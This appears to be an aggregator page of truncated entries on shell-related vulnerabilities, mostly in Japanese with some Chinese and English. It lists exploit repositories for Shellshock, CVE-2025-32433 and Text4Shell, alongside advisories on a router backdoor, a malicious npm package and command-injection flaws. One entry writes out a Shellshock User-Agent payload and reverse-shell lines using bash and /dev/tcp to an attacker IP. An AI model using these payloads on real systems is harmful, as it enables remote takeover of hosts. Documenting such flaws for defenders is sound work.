CVE-2019-10149-quick

CVE-2019-10149-quick Bashシェル簡易修正 CVE-2019-10149...

CVE-2025-32433-Remote-Shell

CVE-2025-32433 リモートシェル Goベースのエクスプロイトで、CVE-2025-32433を利用してリモートのbashシェルを取得します。 ProDefenseのCVE-2025-32433用PoCから導出されたエクスプロイトの理解に大きく影響を受けています。 エクスプロイトの実行 root@kitploit: make クロスコンパイル用Makefileにより、exploit.exe はWindowsマシンでも利用可能です。 次に、エクスプロイトバイナリを次の2つの方法のいずれかで実行します。 コマンド root@kitploit: ./exploit ""...

CVE-2022-42889

CVE-2022-42889 CVE-2022-42889 的 Python 脚本 要在本地测试，请按照 Docker POC 操作：https://github.com/karthikuj/cve-2022-42889-text4shell-docker PHP 版本见：https://github.com/ClickCyber/cve-2022-42889 如果你在本地运行并利用此漏洞，需要使用的 IP 是 Docker 容器创建时生成的网关地址。 获取 Docker 容器的 bash shell 后： 确保使用 chmod 使脚本可执行： root@kitploit:...

ShellShockHunter

ShellShockHunter v1.0 シェルショック脆弱性をテストするためのシンプルなツールです。 root@kitploit: 作成者: MrCl0wn ブログ: http://blog.mrcl0wn.com GitHub: https://github.com/MrCl0wnLab Twitter: https://twitter.com/MrCl0wnLab メール: mrcl0wnlab@\gmail.com Shellshock ソフトウェアバグ Shellshock（別名Bashdoor）は、Unix...

CVE-2014-6271_pwnable

CVE-2014-6271 CVE-2014-6271は"Shellshock"として知られる深刻な脆弱性で、2014年に発見され公開された脆弱性です。この脆弱性はBashシェルで発見され、ほぼすべてのUnixおよびLinuxシステムに影響を及ぼし、インターネット上で最も広く知られた脆弱性の一つです。 セキュリティ脅威 Shellshock脆弱性はBashシェルで環境変数を介して任意のコード実行を許容する脆弱性であり、攻撃者は特定の環境変数の値を操作することでシステムに悪意のあるコードを挿入できました。これにより、システムを制御したりユーザー情報を盗み取るなどの悪用が可能でした。 実習環...

CVE-2014-6271

CVE-2014-6271 Shellshock Python エクスプロイト HTTP 環境変数インジェクションを介して Shellshock 脆弱性 CVE-2014-6271 をテストするために設計された、クリーンで効率的かつインタラクティブな Python 実装。 📝 説明 Shellshock CVE-2014-6271 は Bash シェルにおける深刻なセキュリティ脆弱性であり、攻撃者は環境変数に格納された関数定義の末尾に任意のコマンドを付加することによって実行を可能にします。 このスクリプトは CGI Common Gateway Interface スクリプトを使用する...

Shell-Shock

Shell Shock 著者 : [email protected] メンテナ : 部署 : DevOps ライセンス : 概要 Shell Shock : 権限昇格, リモートコード実行 Unix Bash Shell のバグ群。任意のコマンド実行を許可します。 悪用ベクトル ペイロード shellshock ユーザーエージェント = User-Agent: :; ; rshell ペイロード = bash -i & /dev/tcp/127.0.0.1 rshell リスナーへのリダイレクト = bash -i & /dev/tcp/$YOURIP:$PORT トリック 設...

CVE-2014-6271

Shellshock脆弱性チェッカー このスクリプトは、ウェブサイトがShellshock脆弱性（CVE-2014-6271）に対して脆弱かどうかをチェックします。 概要: Shellshock脆弱性（別名Bashdoor）は、2014年9月にUnix Bashシェルで発見されたセキュリティ上の欠陥です。この脆弱性により、攻撃者はBashが環境変数を処理する方法の欠陥を悪用して、システム上で任意のコードやコマンドを実行できます。これにより、攻撃者は脆弱なシステムを完全に制御できる可能性があります。 使用方法:...

Chinese-Made Zbtlink Routers Ship With Backdoor That Opens Unauthenticated Root Shells

Cybersecurity researchers have disclosed details of a "factory-shipped backdoor" implanted in at least 20 Chinese router models from Zbtlink. According to a new report from VulnCheck, the implant appears in all 21 firmware images currently available from Zbtlink that span more than 2 years. The...

Malicious code in log-taker (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 30b4bde2f8e6fa87d896e86967b814a70ae3e46f1b1d58ed4552d1d909fbfcfe index.js imports childprocess and invokes execSync with bash and zsh shell strings around lines 315 and 331. The pattern of spawning interactive shel...

Command Injection

Overview Affected versions of this package are vulnerable to Command Injection via the check field in metadata files due to unsafe execution using /bin/bash -c. An attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations suc...

Command Injection

Overview Affected versions of this package are vulnerable to Command Injection via the check field in metadata files due to unsafe execution using /bin/bash -c. An attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations suc...

CVE-2026-45036 Tabby auto-confirms ZMODEM detection on terminal output, leading to shell command execution from displayed file content under fish, bash, and zsh

Tabby formerly Terminus is a highly configurable terminal emulator. Prior to 1.0.233, Tabby before 1.0.233 automatically confirms ZMODEM protocol detection on all terminal session output without user interaction, enabling shell command execution when a user displays attacker-controlled content. T...

CVE-2026-45036 Tabby auto-confirms ZMODEM detection on terminal output, leading to shell command execution from displayed file content under fish, bash, and zsh

Tabby formerly Terminus is a highly configurable terminal emulator. Prior to 1.0.233, Tabby before 1.0.233 automatically confirms ZMODEM protocol detection on all terminal session output without user interaction, enabling shell command execution when a user displays attacker-controlled content. T...

CVE-2026-45036 Tabby auto-confirms ZMODEM detection on terminal output, leading to shell command execution from displayed file content under fish, bash, and zsh

Tabby formerly Terminus is a highly configurable terminal emulator. Prior to 1.0.233, Tabby before 1.0.233 automatically confirms ZMODEM protocol detection on all terminal session output without user interaction, enabling shell command execution when a user displays attacker-controlled content. T...

uniget is Vulnerable to Command Injection in tool.Check Leading to Arbitrary Code Execution

I discovered a command injection vulnerability in uniget that allows arbitrary command execution through the metadata loading and version check mechanism. Summary A command injection vulnerability exists in uniget due to unsafe execution of the check field from metadata files using /bin/bash -c...

CVE-2026-0596 Command Injection in mlflow/mlflow

A command injection vulnerability exists in mlflow/mlflow when serving a model with enablemlserver=True. The modeluri is embedded directly into a shell command executed via bash -c without proper sanitization. If the modeluri contains shell metacharacters, such as $ or backticks, it allows for...

CVE-2026-32094 Shescape escape() leaves bracket glob expansion active on Bash, BusyBox, and Dash

Shescape is a simple shell escape library for JavaScript. Prior to 2.1.10, Shescapeescape does not escape square-bracket glob syntax for Bash, BusyBox sh, and Dash. Applications that interpolate the return value directly into a shell command string can cause an attacker-controlled value like...

interpreter.htb-SSTI-exploit

Exploitation py...

Brocade Fabric OS < 9.2.1c2 / 9.2.2 < 9.2.2b / 10.0.0 Information Disclosure (CVE-2026-0383)

The version of Brocade FabricOS installed on the remote host is prior to 9.2.1c2, or 9.2.2 prior to 9.2.2b, or 10.0.0 prior to 10.0.0a. It is, therefore, affected by an information disclosure vulnerability: - A vulnerability in Brocade Fabric OS could allow an authenticated, local attacker with...